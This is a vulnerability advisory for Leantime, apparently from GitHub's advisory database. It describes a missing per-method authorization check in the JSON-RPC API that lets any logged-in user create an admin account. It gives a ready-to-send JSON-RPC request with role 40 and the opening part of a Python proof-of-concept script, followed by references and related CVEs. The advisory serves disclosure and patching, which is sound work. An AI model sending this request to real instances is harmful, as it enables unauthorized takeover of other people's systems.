Summary
Leantime: Any Authenticated User Can Self-Escalate to Admin via Unauthorized JSON-RPC Methods
Advisory details
Summary
Any authenticated Leantime user - including the lowest-privilege readonly role - can escalate to full administrative access by calling the JSON-RPC method leantime.rpc.api.api.createApiKeyWithProjects with an attacker-chosen role value. The server creates a new account at that role with no authorization check, and the resulting credentials work as a fully interactive admin login through the ordinary web UI. The same root cause (missing per-method authorization on JSON-RPC-exposed service methods) also leaves the Plugins service's installPlugin, enablePlugin, disablePlugin, and removePlugin methods callable by any authenticated user with no role check, even though their web-UI equivalents correctly require an admin/owner role.
Details
Leantime's JSON-RPC API (app/Domain/Api/Controllers/Jsonrpc.php) reflects any public method on any @api-annotated service class and dispatches it at leantime.rpc.{domain}.{service}.{method}. Per-method authorization is enforced by PermissionEnforcer::enforce() (app/Core/Auth/Permissions/PermissionEnforcer.php), which reads a #[RequiresPermission(...)] PHP attribute off the target method - but when that attribute is absent, enforce() silently returns and allows the call through.
Api::createApiKeyWithProjects(array $values, ?array $projects) (app/Domain/Api/Services/Api.php) is @api-exposed and carries no #[RequiresPermission] attribute. It forwards $values - including a caller-supplied role - directly into createAPIKey() → Users\Repositories\Users::addUser(), with no server-side clamping of role against the calling user's own privilege level:
// app/Domain/Api/Services/Api.php
/**
* @api
*/
public function createApiKeyWithProjects(array $values, ?array $projects): array|false
{
$apiKeyValues = $this->createAPIKey($values); // no #[RequiresPermission], no role check
...
}
The equivalent web route (NewApiKey controller) correctly gates account creation behind an admin-only role check (Auth::authOrRedirect([Roles::$admin, ...])), but that gate is bypassed entirely by calling the service directly through JSON-RPC.
Separately, Plugins::installPlugin(), enablePlugin(), disablePlugin(), and removePlugin() (app/Domain/Plugins/Services/Plugins.php, lines ~266/299/320/342) share the same gap: all four are @api-exposed with no #[RequiresPermission], while their web-controller equivalents (Myapps.php, Details.php) correctly require Roles::$owner/Roles::$admin.
Authenticating to the JSON-RPC endpoint with an ordinary browser session cookie (rather than a dedicated API key) is sufficient, provided the request carries an X-Requested-With: XMLHttpRequest header (app/Core/Middleware/StartSession.php) - this is exactly what the application's own first-party JS client already sends, so no special tooling beyond a normal authenticated session is needed.
PoC
A runnable Python PoC (requests library only) reproduces this end-to-end; see the attached poc.py. Steps:
- Create/authenticate as a
readonly-role account (the lowest privilege level). Confirm it is correctly blocked (HTTP 403) from an admin-only page, e.g./plugins/myapps. - From that same low-privilege session, send:
The server respondsPOST /api/jsonrpc Content-Type: application/json X-Requested-With: XMLHttpRequest {"jsonrpc":"2.0","id":1,"method":"leantime.rpc.api.api.createApiKeyWithProjects", "params":{"values":{"firstname":"poc","role":40,"status":"a"},"projects":[]}}HTTP 200with the newly created account'suser/passwordCleanand"role":40(admin) in the JSON body. - Log in through the normal
/auth/loginform using the returneduser/passwordClean. The resulting session now has full, interactive access to/plugins/myapps(HTTP 200) - the exact page that returned 403 in step 1.
Reproduced against a local instance built from this repository's own .dev Docker tooling (.dev/docker-compose.yaml), with dependencies installed via composer install / npx mix and no modifications to application code.
Impact
Complete compromise of any Leantime instance by an attacker who controls, or can register/be granted, any authenticated account - including the lowest-privilege readonly role. No admin credentials, tokens, or prior access beyond an ordinary low-privilege login are required. This is a full authenticated-to-admin privilege escalation (CWE-862 Missing Authorization, CWE-269 Improper Privilege Management). Combined with the plugin-management gap described above, it further extends to arbitrary plugin install/enable/disable/remove, a path toward code-execution-level impact tracked from the same root cause.
Script : poc.py
#!/usr/bin/env python3
"""
What this script does, against a target Leantime instance:
1. Logs in as a LOW-PRIVILEGE account (readonly role by default).
2. Confirms the account is correctly blocked by the normal web UI from an
admin-only page (expects HTTP 403) -- this establishes the account truly
has no admin rights before the exploit runs.
3. Calls leantime.rpc.api.api.createApiKeyWithProjects over JSON-RPC using
nothing but that account's own ordinary session cookie, requesting
role=40 (admin). No admin/API-key credential is used anywhere in this
step -- only the low-privilege session established in step 1.
4. Logs in through the completely ordinary web login form using the
generated username/password from step 3, and confirms that account now
has full, interactive admin access to the same admin-only page that
blocked the original low-privilege account in step 2. (The record is
created with source='' rather than source='api' -- createAPIKey() never
sets that column -- so it does NOT work as an x-api-key credential, but
it is a fully functional role=40 web login, which is a stronger and
more direct proof of impact.)
Requirements: pip install requests
Usage:
python3 poc.py --url http://localhost:5080 \\
--username lowpriv@leantime.test --password 'LowPriv123!'
"""
import argparse
import sys
import requests
def rpc_call(session: requests.Session, base_url: str, method: str, params: dict, extra_headers: dict | None = None):
"""Call a JSON-RPC method. Sends X-Requested-With so the session-based
guard actually loads the caller's real, persisted session (see
StartSession.php:65) -- without it, API requests get a fresh, empty,
in-memory session and every call 401s regardless of login state."""
headers = {
"Content-Type": "application/json",
"X-Requested-With": "XMLHttpRequest",
}
if extra_headers:
headers.update(extra_headers)
resp = session.post(
f"{base_url}/api/jsonrpc",
json={"jsonrpc": "2.0", "id": 1, "method": method, "params": params},
headers=headers,
)
return resp
def main():
parser = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter)
parser.add_argument("--url", required=True, help="Base URL of the target Leantime instance, e.g. http://localhost:5080")
parser.add_argument("--username", required=True, help="Email of a LOW-privilege test account (e.g. readonly role)")
parser.add_argument("--password", required=True, help="Password for that account")
parser.add_argument("--admin-check-path", default="/plugins/myapps", help="An admin-only web page used to confirm the account has no admin rights (default: /plugins/myapps)")
parser.add_argument("--insecure", action="store_true", help="Disable TLS verification (for self-signed local/dev instances)")
args = parser.parse_args()
verify = not args.insecure
base_url = args.url.rstrip("/")
s = requests.Session()
s.verify = verify
print(f"[*] Target: {base_url}")
# Step 1: log in as the low-privilege account via the ordinary web form.
References
- https://github.com/advisories/GHSA-54mm-6729-r5wp
- https://github.com/Leantime/leantime/security/advisories/GHSA-54mm-6729-r5wp
- https://nvd.nist.gov/vuln/detail/CVE-2026-85990
- https://github.com/Leantime/leantime/pull/3583
- https://github.com/Leantime/leantime/pull/3797
- https://github.com/Leantime/leantime/commit/5605e5ee86bbd01acb85c6b5d8fb337faf8bcf02
- https://github.com/Leantime/leantime/commit/7ebf7a9517e2aaa05ec15b8130ab1841a4bde43e
- https://github.com/Leantime/leantime/releases/tag/v3.10.0
Related vulnerabilities
All Supply chain →- HIGHCVE-2026-75837
Grav: Missing admin.super guard on core group blueprint access field allows admin.users operator to escalate to super-admin
- CRITICALCVE-2026-73842
OpenChoreo: cluster-gateway internal proxy performs no caller authentication and is not read-only — data-plane Secret disclosure and arbitrary Kubernetes mutation
- HIGHCVE-2026-96627
Arcane: Delegated users:update permission allows admin account takeover via password reset (no privilege-hierarchy check)
- MEDIUMCVE-2026-102682
Pipecat: Public exposure of Pipecat’s development runner can allow unauthenticated bot session creation
- HIGHCVE-2026-95837
containerd CRI plugin: Checkpoint restore bypasses destination security context
- CRITICALCVE-2026-77524
KEDA: Privilege escalation from namespace admin to cluster admin via KEDA TriggerAuthentication